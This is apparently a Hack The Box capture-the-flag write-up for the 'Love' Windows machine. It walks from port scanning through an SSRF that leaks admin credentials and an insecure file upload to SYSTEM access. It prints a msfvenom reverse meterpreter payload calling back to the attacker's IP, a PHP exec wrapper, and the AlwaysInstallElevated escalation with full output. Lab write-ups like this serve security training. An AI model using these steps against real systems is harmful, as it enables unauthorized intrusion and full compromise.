HTB | Love

Since this is just a challenge there is no reason to go super stealthy.
I used the following command to enumerate all open ports, and check which version is running on the port:

$ sudo nmap -sV -p- -oA nmap/version_scan_all_ports 10.129.48.103

# Nmap 7.91 scan initiated Sun Jul 25 20:11:00 2021 as: nmap -sV -p- -oA nmap/version_scan_all_ports 10.129.48.103
Nmap scan report for 10.129.48.103
Host is up (0.035s latency).
Not shown: 65517 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=7/25%Time=60FDA958%P=x86_64-unknown-linux-gnu
SF:%r(NULL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.87'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 25 20:14:21 2021 -- 1 IP address (1 host up) scanned in 201.09 seconds

Looking at the table below, we can deduce that it is a Windows machine running multiple webservers.

We also got the hostname love.htb from the scan results, so let's add that to /etc/hosts file:

$ sudo echo "10.129.48.103 love.htb" >> /etc/hosts

Since there are more than one webserver running, there is the possibility that they are mapped to virtual hosts.
So let's start gobuster in virtual host mode and start enumerating.

If we point the site to http://127.0.0.1/index.php, we will see that some of the target website is rendered.

The entire request sent by the form can be seen below.

POST http://staging.love.htb/beta.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: https://staging.love.htb
Connection: keep-alive
Referer: https://staging.love.htb/beta.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Host: staging.love.htb

file=http%3A%2F%2F127.0.0.1%2Findex.php&read=Scan+file

Let's us try the webserver running on port 5000, just to see if there is anything interesting.

And we got our first set of credentials!
admin:@LoveIsInTheAir!!!!

Now that we have the username and password for the admin area of the voting system, let's login and start poking around at the different functionalities.

Logging in as admin gives the following interface

One of the sites which peaked my interest was the /candidates.php file in the /admin/ directory.

On this site I poked around found the following three vulnerabilties on this endpoint:

• XSS
  
• SQL injection
  
• Insecure File upload
  

Because this is a Windows box, I'll be taking the liberty of using the Metasploit framework.
I'll do this in two parts, first we'll create a reverse meterpreter shell.
And a small php script which will execute our meterpreter shell.

The php script that will execute our meterpreter shell, is rather simple as you can see below.

<?php
exec("shell.exe");
?>

The meterpreter shell is generated using the msfvenom

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/hackthebox/machines/love/shells ]
└─> $ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.87 LPORT=4444 -f exe > shell.exe                15:37
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

And a handler setup in msfconsole with options matching the ones in the payload generation.

Now we upload both files, and navigate to the php file.
And voila we have a shell!

meterpreter > getuid
Server username: LOVE\Phoebe
meterpreter >

Let's navigate to the desktop and get the flag!

meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Users\Phoebe\Desktop
================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2021-04-13 00:50:47 +0200  desktop.ini
100444/r--r--r--  34    fil   2021-04-13 12:20:32 +0200  user.txt

meterpreter > cat user.txt
39e8████████████████████████████
meterpreter >

This is a very nifty little module, which will suggest local exploits that can be used to elevate privileges.

meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.129.148.112 - Collecting local exploits for x86/windows...
[*] 10.129.148.112 - 38 exploit checks are being tried...
[+] 10.129.148.112 - exploit/windows/local/always_install_elevated: The target is vulnerable.
[+] 10.129.148.112 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.129.148.112 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
[+] 10.129.148.112 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.129.148.112 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.129.148.112 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.

As you can see the target is vulnerable to the always_install_elevated exploit.

Since the autosuggester mentioned this exploit, let's test if it is correct.
This is done by running the following commands:

meterpreter > shell
Process 6380 created.
Channel 6 created.
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Users\Phoebe\Desktop>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1


C:\Users\Phoebe\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1


C:\Users\Phoebe\Desktop>

The registrykeys are enabled meaning we are vulnerable, just as the local_exploit_suggester said we were.

Now we can run the exploit module:

meterpreter > run exploit/windows/local/always_install_elevated LHOST=10.10.14.87

[*] Started reverse TCP handler on 10.10.14.87:4444
[*] Uploading the MSI to C:\Users\Phoebe\AppData\Local\Temp\zDLHrfRovO.msi ...
[*] Executing MSI...
[*] Sending stage (200262 bytes) to 10.129.148.112
[+] Deleted C:\Users\Phoebe\AppData\Local\Temp\zDLHrfRovO.msi
[*] Meterpreter session 9 opened (10.10.14.87:4444 -> 10.129.148.112:63063) at 2021-07-26 17:27:24 +0200
[*] Session 9 created in the background.

And a session was created, which means we have root!

Now all we need is to switch to that session, and read the root flag.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > pwd
C:\Windows\System32
meterpreter > cd /Users/Administrator/Desktop
meterpreter > ls
Listing: C:\Users\Administrator\Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2021-04-12 23:55:12 +0200  desktop.ini
100444/r--r--r--  34    fil   2021-04-13 12:20:17 +0200  root.txt

meterpreter > cat root.txt
567d████████████████████████████